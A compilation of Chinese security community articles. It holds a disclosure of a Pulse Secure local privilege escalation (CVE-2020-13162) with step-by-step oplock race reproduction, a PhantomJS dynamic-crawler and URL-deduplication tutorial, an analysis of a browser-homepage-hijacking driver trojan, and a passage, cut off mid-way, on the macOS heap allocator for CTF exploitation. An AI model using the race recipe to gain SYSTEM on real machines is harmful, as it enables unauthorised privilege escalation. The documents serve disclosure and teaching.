## 0x01 漏洞概述及影响
Windows上的Pulse
Secure客户端在“`PulseSecureService.exe`”服务中存在本地权限提升漏洞。利用此漏洞，攻击者可以诱使“`PulseSecureService.exe`”以`SYSTEM`权限运行任意微软Installer可执行文件（“.msi”），这给了攻击者以管理员权限。
该漏洞位于“dsInstallerService”组件中，该组件使非管理员用户可以使用Pulse
Secure提供的安装程序来安装或更新组件。尽管“dsInstallerService”对安装程序的内容执行了签名验证，但我们发现可以绕过该检查，先向该服务提供正常的Pulse
Secure安装程序，在验证完毕后用恶意程序替换之（见下面的“分析”段）。
该漏洞是TOCTOU（检查时间到使用时间的竞争条件），可以使用独占的机会锁可靠地加以利用。
可以在默认配置下利用此漏洞，而且我们暂未了解到有任何配置可以阻止此漏洞的利用。我们测试过的所有<
9.1R6版本（包括5.x分支，比如2017年1月发行的5.3 R70版本）在我们的测试过程中均可成功利用。在全新安装的Windows 10
1909和Windows 8.1上都进行了测试。
该bug是由GiuseppeCalì（[@gsepcali](https://github.com/gsepcali
"@gsepcali")）发现的。Marco Ortisi编写了完整的漏洞利用程序，该程序将在不久的将来发布（更多信息请参见下面的注释）。
## 0x02 分析
Pulse Secure解决方案的服务器组件Pulse Secure
Connect提供了安装程序以在客户端计算机上进行部署。其中的某些程序，例如“`Pulse Secure Installer Service
(.exe)`”和“`Host Checker (.exe)`”，可以在没有管理员权限的情况下安装（见图1）。
图1：PSC管理员界面中提供的一种安装程序的说明。
尽管图上声称“如果系统上运行着先前版本的Installer服务，则可以在有限的用户权限下部署这些软件包”，但我们发现Pulse
Secure客户端的默认安装就允许我们运行安装程序。可从“https://<pcs-host>/dana-admin/sysinfo/installers.cgi”获得安装程序。
由于这些安装程序需要执行管理员权限的任务（例如在“`Program Files
(x86)`”目录中创建文件），因此我们决定研究非特权进程是如何能够执行特权任务的。
安装程序是自解压的可执行文件（见图2）。
图2：“Pulse Secure Installer Service (.exe)”程序包提取的内容。
“Pulse Secure Installer Service (.exe)”的工作方式如下：
1. 自解压到`％TEMP％`。
2. 指示以`SYSTEM`身份运行的“`PulseSecureService.exe`”启动安装过程。这是通过服务公开的OLE接口完成的。
3. “`PulseSecureService.exe`”使用WinAPI函数“`CryptQueryObject()`”验证“`VerifyAndInstall.exe`”的签名。
4. 如果签名有效，则“`PulseSecureService.exe`”会将“`VerifyAndInstall.exe`”复制到“`C:WindowsTempPulseXXXXXXXX`”，其中“`XXXXXXXX`”是十六进制编码的时间戳。
5. “`PulseSecureService.exe`”运行“`VerifyAndInstall.exe`”。
6. “`VerifyAndInstall.exe`”对“`％TEMP％PulseSecureInstallerService.msi`”执行验证例程。
7. 如果验证成功，则将“`PulseSecureInstallerService.msi`”复制到“`C:ProgramDataPulse SecureInstallersverified_PulseSecureInstallerService.msi`”。
8. “`PulseSecureInstallerService.msi`”以`SYSTEM`运行“`C:Windowssystem32msiexec.exe`”，并以“`C:ProgramDataPulse SecureInstallersverified_PulseSecureInstallerService.msi`”作为参数，然后开始安装。
使用上面的文件名作为Procmon的过滤器可以观察到安装过程。
“`C:ProgramData`”可由非特权用户写入，他们可以创建或修改他们拥有的文件，但不能动其他用户创建的文件。
要重现问题并以`SYSTEM`身份运行代码，只需执行以下操作：
1. 创建一个空的“`C:ProgramDataPulse SecureInstallersverified_PulseSecureInstallerService.msi`”
2. 在“`C:WindowsSystem32msiexec.exe`”上设置独占的机会锁（比如使用此工具：<https://github.com/googleprojectzero/symboliclink-testing-tools/tree/master/SetOpLock> ，命令为“`SetOpLock.exe C:WindowsSystem32msiexec.exe x`”）。
3. 启动从“Pulse Secure Connect”下载的合法安装程序。
4. 触发机会锁后，将“`C:ProgramDataPulse SecureInstallersverified_PulseSecureInstallerService.msi`”替换为恶意的“`.msi`”文件。
5. 释放机会锁。
结果，恶意的“.msi”文件将以SYSTEM权限执行。
## 0x03 检测
要检测此问题，只需监控非SYSTEM进程创建或写入“`C:ProgramDataPulse
SecureInstallers`”的行为。因为原始文件都是由PulseSecure服务创建和写入的，所以非特权进程在这个位置写入是异常行为，可能是试图利用漏洞。
不同的安装程序安装到不同的位置。还有一个需要注意非特权写入的路径是“`C: Users<user>AppDataRoamingPulse Secure`”。
## 0x04 利用
我们为该漏洞开发了两种不同的利用程序，下面是其中之一的演示（视频见原文）。
但是，我们不打算立马公开代码，不过我们很快就会发布到[Github](https://github.com/redtimmy/)上。为什么现在不公开呢？因为我们意识到Pulse
Secure的客户很难知道VPN客户端的新版本是修复了安全漏洞还是只是功能上的更新。事实上，截至本文写作时，VPN客户端9.1R6版（唯一不受影响的版本）的[发行说明](https://www-prev.pulsesecure.net/techpubs/pulse-client/pulse-secure-client-desktop/9.1Rx)和[官网](https://kb.pulsesecure.net/?atype=sa)上的安全公告都没提到之前版本的VPN受到CVE-2020-13162的影响。
这就自然导致大家很可能没有更新到最新版，因为没人知道这个版本是安全更新而非功能更新。
## 0x05 披露时间线
发现漏洞：2020年4月13日
联系厂商：2020年4月15日
厂商回复：2020年4月17日
补丁发布：2020年5月22日
Red Timmy披露漏洞：2020年6月16日
利用程序发布：待定 | 社区文章 |
# 【技术分享】浅谈动态爬虫与去重
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**作者：**[ **Fr1day@0keeTeam**
****](http://bobao.360.cn/member/contribute?uid=2515404114)
**预估稿费：600RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**
**
**0x01 简介**
随着Web
2.0的发展，页面中的AJAX也越来越多。由于传统爬虫依靠静态分析，不能准确的抓取到页面中的AJAX请求以及动态更新的内容，已经越来越不能满足需求。基于动态解析的Web
2.0爬虫应运而生，通过浏览器内核解析页面源码，模拟用户操作，能有效解决上述问题。本文将详细分析利用PhantomJS + Python
编写爬虫并进行去重的思路。
**0x02 PhantomJS**
[PhantomJS](http://phantomjs.org/) 是无界面的 Webkit 解析器，提供了 JavaScript API
。由于去除了可视化界面，速度比一般 Webkit 浏览器要快很多。同时提供了很多监控和事件接口，可以方便的操作 DOM 节点，模拟用户操作等。
接下来我们通过一个简单的例子，来展示下动态爬虫和传统爬虫的区别。目标：加载一个页面（[那么，一起玩吧](http://named.cn/.mine)），并且获取其中所有的
**< a>**标签。
// example.js
var page = require('webpage').create();
page.onAlert = function (message) {
console.log(message);
return true;
};
page.onCallback = function() {
page.evaluate(function(){
atags = document.getElementsByTagName("a");
for(var i=0;i<atags.length;i++){
if (atags[i].getAttribute("href")){
alert(atags[i].getAttribute("href"));
}
}
})
phantom.exit()
};
page.open("http://named.cn/.mine", "get", "", function (status) {
page.evaluateAsync(function(){
if (typeof window.callPhantom === 'function') {
window.callPhantom();
}
}, 10000)
});
抓取结果如下：
/.mine
/cmd2/controls/signin
/cmd2/controls/getcode
/download.html
/.blog
/.mine
/.at
/~发现推荐.findbbs
/help.html
/江南水乡.bbs/7313348
/摄情男女.bbs/7313242
/欢乐一家亲.bbs/7313356
/深夜食堂.bbs/7313168
/家有熊孩子.bbs/7313321
/乐淘亲子营.bbs/7313320
.../*省略*/...
/婚礼记.bbs/7277165
/不知道的事情.bbs/7277164
/不知道的事情.bbs/7277162
/婚礼记.bbs/7277160
/不知道的事情.bbs/7277016
http://www.miitbeian.gov.cn/
/cmd2/controls/mailpost/内容举报
download.html
静态抓取的代码如下：
import requests
import pyquery
res = requests.get("http://named.cn/.mine")
count = 0
pq = pyquery.PyQuery(res.content)
for i in pq("a"):
print "[%d]: %s" % (count, pq(i).attr("href"))
抓取结果为空。
从上述的例子中，我们可以明显看出动态分析比静态分析抓取到了更多的结果。产生差别的原因，是页面中的数据加载来自于AJAX请求，所有的 **< a>**
标签都是动态更新到页面中的。静态分析对这种情况无能为力，而基于浏览器内核的动态分析，可以轻松的处理这些情况。
但也可以明显看出动态分析的缺点：系统资源占用较多，且占用时间较长，还会有一些莫名其妙的坑，编写起来也更复杂更花时间（需要对前端编程有一定的了解）。
当然除了 PhantomJS 还有一些其他的动态解析器，比如同样基于 Webkit 内核的
PyQt（PhantomJS的最新版本也是基于pyqt来实现）、基于 PhantomJS 封装的 CasperJS、基于的 Firefox Gecko
内核的SlimerJS等。由于并没有一个统一的标准，各个动态解析器的API实现程度也参差不齐，也会有各种各样的坑，并没有一个 “最佳” 的解决方案。
**0x03 触发事件及页面监听**
上面的例子，介绍了爬虫中常见的一个场景：在页面加载完成后，通过AJAX加载数据。但现实中的场景，往往会更复杂，需要与用户进行交互后才会触发，比如在点击了某个按钮后跳转到某个页面、滚动到页面尾部后加载下一页的数据等。我们需要新的解决方案，去模拟正常用户的操作。那么，应该如何将用户交互抽象为代码？
用户操作的本质，实际上是触发了绑定在DOM节点的事件。所以模拟用户操作的问题，可以简化为触发节点事件。事件执行的结果也是多种多样的，但对于爬虫来说，我们需要关注的结果只有两种：1.
是否添加了新的节点（ **< a>**、 **< iframe>**等等） 2.
是否发起了新的请求（包括AJAX请求、跳转等）。简化后，我们需要解决的问题有：
1\. 如何获取绑定事件？
2\. 如何触发事件？
3\. 如何获取事件触发的结果？
最后我们的解决方案如下：
1\. 如何获取绑定事件？JavaScript中绑定事件，都会调用 **addEventListener**
函数。在页面里的代码执行前（[onInitialized |
PhantomJS](http://phantomjs.org/api/webpage/handler/on-initialized.html)），hook
addEventListener函数，就可以捕获到哪些DOM节点绑定了事件。
_addEventListener = Element.prototype.addEventListener;
Element.prototype.addEventListener = function(a,b,c) {
EVENT_LIST.push({"event": event, "element": this})
_addEventListener.apply(this, arguments);
};
2\. 如何触发事件？JavaScript中提供了 **dispatchEvent**
函数，可以触发指定DOM节点的指定事件，也就是上一个问题中，我们收集的 **EVENT_LIST** 。
for(var i in EVENT_LIST){
var evt = document.createEvent('CustomEvent');
evt.initCustomEvent(EVENT_LIST[i]["event"], true, true, null);
EVENT_LIST[i]["element"].dispatchEvent(evt);
}
除了通过addEventListener绑定事件，还有一些inline-script，是无法通过hook addEventListener来获取的。比如：
<div id="test" onclick="alert('hello')"></div>
解决方法是遍历节点，执行所有的onxxxx属性的值。
function trigger_inline(){
var nodes = document.all;
for (var i = 0; i < nodes.length; i++) {
var attrs = nodes[i].attributes;
for (var j = 0; j < attrs.length; j++) {
attr_name = attrs[j].nodeName;
attr_value = attrs[j].nodeValue;
if (attr_name.substr(0, 2) == "on") {
console.log(attrs[j].nodeName + ' : ' + attr_value);
eval(attr_value);
}
if (attr_name in {"src": 1, "href": 1} && attrs[j].nodeValue.substr(0, 11) == "javascript:") {
console.log(attrs[j].nodeName + ' : ' + attr_value);
eval(attr_value.substr(11));
}
}
}
}
3\. 如何获取事件触发的结果？HTML5中的 **MutationObserver**
方法，可以检查页面中的DOM是否发生变化。但是PhantomJS并不支持（摊手 [Support for Mutation
Observers](https://github.com/ariya/phantomjs/issues/10715)），解决方案是监听了
**DOMNodeInserted**
事件。AJAX请求的捕获，解决方案有两种：[onResourceRequested](http://phantomjs.org/api/webpage/handler/on-resource-requested.html) 可以捕获非主框架的请求，但需要通过正则表达式匹配筛选出有效请求；hook
**XMLHttpRequest.open** 和 **XMLHttpRequest.send** 可以准确的捕获请求内容。
document.addEventListener('DOMNodeInserted', function(e) {
var node = e.target;
if(node.src || node.href){
LINKS_RESULT.push(node.src || node.href);
}
}, true);
_open = XMLHttpRequest.prototype.open
XMLHttpRequest.prototype.open = function (method, url) {
if (!this._url) {
this._url = url;
this._method = method;
}
_open.apply(this, arguments);
};
_send = XMLHttpRequest.prototype.send
XMLHttpRequest.prototype.send = function (data) {
window.$Result$.add_ajax(this._url, this._method, data);
_send.apply(this, arguments);
};
整理一下，在页面加载前，需要hook三个接口： **addEventListener** 、 **XMLHttpRequest.open** 、
**XMLHttpRequest.send** 。页面加载完之后，需要获取所有的 **< a>**、 **< iframe>**、 **<
form>**标签，开启页面DOM节点监听，并且触发所有的事件。最后输出结果。
在实现了动态爬取的基本功能后，还有一些可以提升爬虫的稳定性和效率的小tips：自动填写表单（应对某些情况下参数为空导致表单无法提交）、禁止非必要资源的加载（jpg、png、css、mp4等）、页面加载完成后禁止跳转（防止因为触发事件导致的跳转）、hook会导致页面阻塞的函数（alert、prompt）、触发事件向下冒泡（解决一些不标准的前端代码绑定的DOM节点太宽泛导致的问题，但实测非常影响效率）等。
**0x04 去重**
去重是爬虫中最核心，也是最影响爬虫效率和结果的部分。去重过于粗放，在遇到页面比较多的网站时爬不完。过于严格的话，爬取的结果太少，也会影响后续扫描的效果。
去重一般分为两个部分：任务队列的去重、结果队列的去重。这两种去重的区别在于，在爬虫运行过程中，任务队列是一直变动的（增加 &
减少），而结果队列是不断的增加的。对任务队列的去重，要在扫描过程中重复的进行的，即某个页面爬取完成后，获取的结果加入任务队列进行下一次爬虫任务之前，需要做一次去重（或者每完成一个深度的爬虫任务，进行一次去重），而结果队列是在所有的任务结束后进行去重，不影响爬虫运行效率，只影响最后的结果输出。这两种去重可以使用相同的去重策略，也可以使用不同的策略（对任务队列的去重，可以根据当前的任务量，进行去重力度的调整）。
我们将爬虫的功能和需求程度逐一列出来：
1\. 基础： 非抓取目标站点的URL
2\. 基础： 完全重复的URL & 参数打乱但实际上仍然重复的URL
3\. 温饱： 分析参数，去除遍历型的，exp: **page.php?id=1** 、 **page.php?id=2** 等
4\. 温饱： 支持伪静态URL去重
5\. 小康： 奇形怪状URL的去重，exp: **test.php?a=1?b=2?from=233** 、
**test.php?a=1?b=3?from=test**
6\. 小康： 根据当前的任务量，动态调整去重力度
前两个基础需求实现起来比较简单，将域名、参数列表提取出来进行对比就可以了，一次循环解决问题。
第三个需求，需要匹配参数值，比如： int、hash、中文、URL编码等。需要注意的是，不可以直接用匹配的方式处理英文的参数值。如：
http://test.com/index.php?m=home&c=test&a=view
http://test.com/index.php?m=home&c=test&a=add
其中m、c、a参数分别代表了不同的module、controller、action，属于“ 功能型参数
”，需要保留。功能性参数的值在大多数情况下是字母（有意义的单词），有些情况下也会是数字或者数字字母的混合。那么，应该如何做策略？
这个问题目前的解决方案也比较粗暴，对全部是字母的参数值，不做处理，对数字字母混合的参数值，根据任务量的多少进行“ 弹力去重
”（详见需求6）。举个实际的例子：
# 去重处理前：
http://test.com/index.php?m=home&c=test&id=3
http://test.com/index.php?m=home&c=test&type=friday
http://test.com/index.php?m=home&c=test&type=464730bbd7fb2016c880ffd597f2808f
http://test.com/index.php?m=home&c=test&type=b59c67bf196a4758191e42f76670ceba
# 处理过程：
{"m": "home", "c": "test", "id":"{{int}}"}
{"m": "home", "c": "test", "id":"{{int}}"}
{"m": "home", "c": "test", "type":"friday"}
{"m": "home", "c": "test", "type":"{{hash}}"}
{"m": "home", "c": "test", "type":"{{hash}}"}
# 去重结果：
http://test.com/index.php?m=home&c=test&id=2
http://test.com/index.php?m=home&c=test&type=friday
http://test.com/index.php?m=home&c=test&type=464730bbd7fb2016c880ffd597f2808f
第四个需求，支持伪静态去重。首先要定义对路径去重的策略，我们把路径用/分隔开，扔到处理参数值的函数中去处理（符合规则的替换为指定字符串、不符合规则的原样返回），然后再用替换过的URL做去重处理就可以了。当然还有一些伪静态长这样：
htttp://xxx.com/?index_1_test_233
htttp://xxx.com/?index_1_new_456
再按照上述的去重策略就过于粗略，应该怎么处理呢？继续往下看。
第五个需求，奇形怪状的URL。目前已有的去重策略都是通过分析替换参数值、路径名来实现的，但是这种奇奇怪怪的URL根本不按套路出牌，只能采用非常的方法：在参数、路径进行拆分处理前，替换掉一些干扰字符。举个实例：
# 处理前
http://test.com/test.php?id=12?from=te?user=233
http://test.com/test.php?id=12?from=te?user=233_abc
# 替换后
http://test.com/test.php?id={{int}}?from=te?user={{int}}
http://test.com/test.php?id={{int}}?from=te?user={{mix_str}}
第六个需求，根据当前的任务量，自动调整去重策略。在有些情况下，上述的各种去重套路都不好用，比如：
http://test.com/user.php?name=test
http://test.com/user.php?name=今天是阴天
http://test.com/user.php?name=bbbbb
...
当用户名为自定义，且有成千上万个用户的时候，上述的去重策略就都失效了。问题出在哪里？
需求三的解决方案似乎过于粗略了，直接把所有的纯英文字符串放过了，但是也没有更好的解决方案。只能针对这种特殊情况，再加一次循环，先找到出现次数过多的参数，再针对这些特定的参数进行强制去重。新的策略是这样的：第一次循环只进行预处理，分析当前的参数列表，并计数。第二遍，根据参数列表的计数值判断当前参数是否需要强制去重。举个实例：
http://test.com/index.php?name=friday&m=read
http://test.com/index.php?name=test&m=read
http://test.com/index.php?name=2333&m=read
# 第一轮遍历结果
{
md5(name+m):{count:3, "name":["friday","test","{{int}}"], "m": ["read"]},
}
当参数列表相同的URL数量大于某个特定值，且某个参数的值的个数大于某个特定值的时候，强制对该参数进行去重，即将全英文字符串替换为 **{{str}}** 。
上述方法实现起来稍微有点儿绕，还有个粗暴点儿的解决方案：不去检测具体参数，只判断当前任务队列里的任务数是否超过某个值，一旦超过，就启动强制去重（只要参数列表或根路径相同，直接去掉，可能会误杀很多伪静态）。
在实现了上述的六个需求后，一个简洁有效的去重脚本就完成了，流程图如下：
**0x05 对比**
为了测试动态爬虫（以下简称KSpider）的基本功能和效率，选取了同样是基于动态分析的WVS扫描器的爬虫（以下简称WVSSpider）来对比。
首先测试基本抓取功能。[AISec漏洞扫描器测试平台](http://demo.aisec.cn/demo/aisec/)提供了几个demo，爬取结果如下：
# 注： WVSSpider无法设置爬虫深度及线程数，针对path相同的url会进行聚合处理，生成SiteFile。
WVSSpider # wvs_console.exe /Crawl http://demo.aisec.cn/demo/aisec/ /SaveLogs /SaveFolder C:UsersxxxDesktop /ExportXML
Request Count: 31, SiteFile Count: 11, Time Count: 23
KSpider # python crawler.py http://demo.aisec.cn/demo/aisec/ {"depth": 5, "thread_count": 5}
Request Count: 23, Result Count: 18, Time Cost: 33
KSpider Basic # python crawler.py http://demo.aisec.cn/demo/aisec/ {"depth": 5, "thread_count": 5, "type": "basic"}
Request Count: 11, Result Count: 8, Time Cost: 1
前两个扫描都抓取到了5个关键的请求，包括：
基础<a>标签: http://demo.aisec.cn/demo/aisec/html_link.php?id=2
JS自动解析: http://demo.aisec.cn/demo/aisec/js_link.php?id=2&msg=abc
JS自动解析 + FORM表单: http://demo.aisec.cn/demo/aisec/post_link.php
JS自动解析 + AJAX请求: http://demo.aisec.cn/demo/aisec/ajax_link.php?id=1&t=0.04278885293751955
事件触发 + DOM改变: http://demo.aisec.cn/demo/aisec/click_link.php?id=2
静态分析的扫描速度很快，但只扫出了上述5个请求中的第一个。通过表单分析抓取到了第三个POST请求，但是由于 **< form>**表单中的 **<
input>**标签是由JavaScript动态生成（代码如下），所以没有抓取到请求的具体参数。
<form method="post" name="form1" enctype="multipart/form-data" action="post_link.php">
<script>
document.write('<input type="text" name="i'+'d" size="30" value=1><br>');
document.write('<input type="text" name="m'+'sg" size="30" value="abc">');
</script>
<input type="submit" value="提交" name="B1">
</form>
接下来是爬虫的效率测试，抓取目标是 [百度贴吧](https://tieba.baidu.com/index.html)。结果如下：
WVSSpider # wvs_console.exe /Crawl https://tieba.baidu.com /SaveLogs /SaveFolder C:UsersxxxDesktop /ExportXML
Request Count: 201, SiteFile Count: 101, Time Count: 220
KSpider # python crawler.py https://tieba.baidu.com {"depth": 5, "thread_count": 10}
Request Count: 410, Result_length: 535, Time_Cost: 339
可以看到，随着网站复杂度的上升，WVS爬虫的请求数增长相对平稳，而KSpider在线程数为10的情况下，在6分钟内也完成了爬取任务，表现正常。
在分析过程中，虽然 WVSSpider
速度很快，整体效率非常高，但也有一些缺点：爬取深度无法指定、无法跨平台工作、对于伪静态形式的URL去重效果较差（如下图所示的SiteFile共有43个，占比42%）、爬虫结果中有部分URL分割结果（如：
**https://tieba.baidu.com/home/main?un=111** 会分割成两个SiteFile， **/home** 和
**/home/main** ，所以实际扫描到的URL数量比结果要少）等。
由于目标网站URL较多，覆盖率比较难测算，我们用脚本简单对比了 WVSSpider 和 KSpider 抓取的结果，除去静态资源，KSpider
覆盖了98%的 WVSSpider 抓取结果（即 WVSSpider 抓取结果里，有98%的结果同样被 KSpider 抓到），而 WVSSpider
仅覆盖了38%的 KSpider 抓取结果。
**0x06 总结**
除了以上提到的去重和动态解析，还有一些小tips，如fuzz常见路径、从robots.txt中提取信息、爬取过程中进行敏感信息识别、生成网站信息画像等，对爬虫的覆盖率及后续的扫描任务会有帮助。
本文详细的介绍了在动态爬虫的实现过程中，可能会遇到的问题以及解决方案。优秀的代码不会一蹴而就，需要持续的优化调整，后期会考虑开源，欢迎沟通交流。
**参考资料**
[让人欢喜让我忧的phantomjs
](http://blog.cooer.net/2014/%e8%ae%a9%e4%ba%ba%e6%ac%a2%e5%96%9c%e8%ae%a9%e6%88%91%e5%bf%a7%e7%9a%84phantomjs/)
[盘点selenium phantomJS使用的坑
](http://www.jianshu.com/p/9d408e21dc3a/comments/6037364)
[SuperSpider——打造功能强大的爬虫利器
](https://security.tencent.com/index.php/blog/msg/34)
[XSS dynamic detection using
PhantomJs](https://www.n0tr00t.com/2016/10/29/XSS_dynamic_detection_using_PhantomJs.html) | 社区文章 |
# “镜像杀机”劫持首页木马分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
最近几周，360核心安全团队发现了一种新型锁主页木马。该木马会恶意篡改和锁定用户浏览器主页牟利，使用户无法设置想要的浏览器主页。
经过分析，该种木马一般通过钓鱼下载站传播，藏身于系统装机软件或者常用软件的安装包中，通过拦截进程和网络来修改启动参数，以达到篡改主页的目的。目前360已针对此类样本全面查杀，为用户电脑保驾护航，同时也提醒广大用户安装软件时注意通过正规的下载渠道，避免中招。
## 感染过程
下图是一例传播此类木马的钓鱼网站，该类页面一般通过搜索引擎跳转而来。图中仿冒“2345加速浏览器”的下载页面，同时提供各种同类浏览器的下载按钮（实际上都是下载同一个安装包），并且为了增加传播的成功率，还专门弹出一个诱导性的提示来针对360安全卫士的查杀，试图骗取用户的信任使其主动退出360的防护。
任意点击一个下载按钮，最终下载的都是经过二次打包的某浏览器安装包，在用户运行后将释放锁主页的驱动木马。
该安装包释放的驱动木马名为fujianc.sys，主要功能即篡改和锁定浏览器主页。同时，为了躲避安全软件的查杀，该驱动使用了VMP壳进行保护。
一旦驱动成功加载，将会创建多个系统回调例程，用来拦截浏览器进程的启动，执行恶意代码。
该驱动主要通过修改浏览器的进程启动参数或者浏览器的访问URL，来篡改浏览器访问的主页，这样用户无论如何设置主页，都无法成功恢复自己想要的主页。
## 木马分析
木马的核心功能在于释放出来的驱动文件fujianc.sys，下面主要分析该文件的运行过程，整体的流程如图所示：
驱动木马会创建PsSetLoadImageNotifyRoutine回调，该回调函数是用来判断浏览器厂商，并且为不同浏览器添加不同的启动参数。接着Hook
AFD.sys驱动的FastIoDeviceControl回调函数。该Hook函数是为了拦截包含特定参数的浏览器，修改其网络访问的内容，然后直接返回给浏览器，以达到锁定主页的目的。
### 1、 创建PsSetLoadImageNotifyRoutine回调函数
首先创建PsSetLoadImageNotifyRoutine回调函数，该回调函数就是主要的工作函数。该函数会判断不同厂商的浏览器，然后针对不同厂商浏览器有不同的拦截流程。
待劫持的浏览器列表
木马会遍历整个列表，然后匹配用户启动的浏览器，为浏览器添加特殊的命令行参数，这些特殊命令行会在AFD.sys驱动的被Hook函数中当做标志使用。用来给浏览器返回特定的包信息。
通过修改PEB中的ProcessParameters字段，添加浏览器参数
到此，PsSetLoadImageNotifyRoutine回调函数的主要工作就结束了。然后用户启动浏览器后，该驱动连接网络，下载加密数据，该数据就是AFD.sys的Hook函数要锁定的主页信息。（该加密数据以1024字节为间隔，保存数据，为了方便观察，去掉了1024字节的间隔）
### 2、 HOOK AFD.sys驱动FastIoDeviceControl回调函数
接着创建AFD.sys驱动的FastIoDeviceControl回调函数
Hook函数会拦截浏览器发送的post请求内容
然后通过解析post请求，判断是否是待劫持信息，最终设置全局标志位，方便为后续拦截http请求做准备。
通过上面设定的全局标志，判断是否需要拦截http请求。如果需要，那么就选择使用的拦截方式，
301跳转方式或者HTML文本方式。如果使用301跳转方式就会把解密的跳转URL格式化到http结构的Location字段。如果使用HTML方式，就会把解密的URL放入到src字段。
301方式跳转主页
HTML方式跳转主页
最终，通过该种方式，来达到锁定浏览器主页的目的，同时也使浏览器设置的默认主页失效。
## 信息挖掘
经过溯源发现，该类木马的传播主要通过以下几个域名，且大部分域名指向同一服务器ip：
进一步发现这些钓鱼下载站的资源都是经过二次打包的常用软件，且均会释放该类驱动木马。这些常用软件的种类比较全面，主要针对用户常用的下载需求。
比如二次打包的浏览器
PDF阅读工具
还有各类激活工具
此外我们还发现，该木马作者经常使用一些过期或者吊销的数字签名签发驱动木马程序。涉及的数字签名包括：
## 结语
360无需升级即可查杀该木马，建议用户保持安全防护软件开启；同时为了避免在钓鱼下载站踩雷，建议用户通过正规途径下载软件，切记不可轻信下载站的诱导提示关闭杀毒软件或添加信任运行报毒程序。 | 社区文章 |
# MacOS上的堆利用
##### 译文声明
本文是翻译文章，文章原作者 ChaMd5安全团队，文章来源： ChaMd5安全团队
原文地址：[https://mp.weixin.qq.com/s?timestamp=1555292797&src=3&ver=1&signature=on5LP301rw1I6VdKUWDKN*5xJPijYxTSRFMKT8OalzwkDX*c5EylKaSk1Vo8*m8knUcVQubvDnX87JEb4fYtK9ehkp6sleX5XtgxL-DT8ciwxFQVsthC9BLsg09iC5nc-LtTmdMDx35iWUHHByBE*92I45UNY0Sv6CcLHS69TeE=](https://mp.weixin.qq.com/s?timestamp=1555292797&src=3&ver=1&signature=on5LP301rw1I6VdKUWDKN*5xJPijYxTSRFMKT8OalzwkDX*c5EylKaSk1Vo8*m8knUcVQubvDnX87JEb4fYtK9ehkp6sleX5XtgxL-DT8ciwxFQVsthC9BLsg09iC5nc-LtTmdMDx35iWUHHByBE*92I45UNY0Sv6CcLHS69TeE=)
译文仅供参考，具体内容表达以及含义原文为准。
**0CTF / TCTF2019**
比赛时出了一道MacOS下的堆利用题目，这里以该题为背景介绍下MacOS下的堆利用攻击。前面主要详细介绍下MacOS系统的堆，如果想看利用可跳到后面的`applepie
exp编写`介绍章节。
## MacOS下的堆介绍
MacOS高版本系统使用Magazine Allocator进行堆分配，低版本使用Scalable
Allocator，详细结构这里不做介绍，它在分配时按照申请大小将堆分为三类 **tiny** , **small** , **large**
其中tiny&small用一个叫做 **Quantum ( Q )** 的单位管理
* **tiny** (Q = 16) ( **tiny** < 1009B )
* **small** (Q = 512) ( 1008B < **small** < 127KB )
* **large** ( 127KB < **large** )
每个magazine有个cache区域可以用来快速分配释放堆
### 堆的元数据(metadata)
MacOS的堆分配方式和其他系统不同，没有采用`Linked
List`方式的分配，堆的前后并没有带堆的元数据，而是将元数据存放在了其他地方，并且做了一系列措施方式防止堆溢出修改元数据。
每个进程包含3个区域，分别为 **tiny rack** , **small rack** , **large allocations**
tiny rack | small rack | large allocations
---|---|---
magazine | magazine |
magazine | magazine |
magazine | magazine |
… | … |
magazine | magazine
每个区域包含了多个活动可变的magazine区域
magazine中有n多个”Region”
这个叫”Region”的区域大小在tiny rack和small rack中是不同的，
“Region” in Tiny rack = 1MB
“Region” in Small rack = 8MB
tiny rack{
magazine 1 {
Region 1 {}
Region 2 {}
...
Region n {}
}
magazine 2 {}
...
magazine 3 {}
}
small rack{
...
magazine n {}
...
}
“Region”中包含三样东西，一个是以 **Q** 为单位的内存block, 还有个是负责将各个”Region”关联起来的 **trailer**
另外一个就是记录chunk信息的 **metadata**
tiny Region {
Q(1Q = 16) * 64520个
region_trailer_t trailer
metadata[64520/sizeof(uint32_t)] {
bitmaps[0]: uint32_t header = 描述哪个block是起始chunk
bitmaps[1]: uint32_t inuse = 描述chunk状态(busy/free)
}
}
Small Region {
Q(1Q = 512) * 16320个
region_trailer_t trailer
metadata[16320] {
bitmaps[0]: uint16_t msize = 最高一位描述chunk状态(busy/free), 其余位描述chunk的Q值（Q值代表与下一个chunk相差多少个Q）
}
}
large allocations保存在cache中，直接记录地址和大小，除非是分割严重，否则一般不会被unmmap
large {
address
size
did_madvise_reusable
}
### 堆的释放 – chunk本身的变化
#### **tiny堆** ：
> tiny堆在释放时，将该chunk挂在freelist上，这里和Linux类似
比较有意思的一点是，tiny堆在释放时，会在chunk上 **写入元数据** ，我们值得关心的就是这一点
# ----------------------------------------------- # AAAAA....
#
# ...AAA...
# .....AAAA
# ----------------------------------------------- # |
# | after free
# |
# ↓
# ----------------------------------------------- # checksum(prev_pointer) | checksum(next_pointer)
# size | ...
# ...
# | size
# -----------------------------------------------
这里有两个pointer和Linux上chunk的头极其相似，同样的，它们的作用也一样，在freelist上获取chunk时将会用这个pointer来进行链表的操作，还有chunk在free时，会进行合并检查，然后用这两个pointer进行unlink操作。
** _但是_**
这里如果按照Linux的方式去攻击堆时，就会发现这里的checksum会阻止堆的元数据被溢出修改。`后面会大致介绍这里的checksum`
关于tiny堆释放时的需要注意的另外一个点：
a1 = malloc(496)
a2 = malloc(496)
a3 = malloc(496)
free(a1)
free(a3)
#这里会发现a1, a3会的prev_pointer & next_pointer会正确的关联起来
free(a2)
#当a2也free之后，会发现a2, a3的头部被清空，a1头部的size却是三者之和，并且移动到small堆中
#### **small堆**
small堆与tiny堆不同，释放后会先移动到cache中，等到下一个small堆被free时，当前的才会被移动到freelist中
### 堆的释放 – chunk元数据(metadata)的变化
#### mag_free_list
这里便是要讲上文提到的freelist,`mag_free_list`是个负责存放地址的列表，一共包含32个元素，各个元素处储存着已经free的对应
**Q** 值的chunk地址，前31个分别是从1Q~31Q的chunk freelist，第32个存放比31Q还要大的chunk freelist。
当新的chunk被free时，将按照chunk的大小，存放在对应Q值的freelist上，并按照双向链表设置好checksum(prev_pointer),
checksum(next_pointer) {参照Linux的freelist}
#### mag_free_bit_map
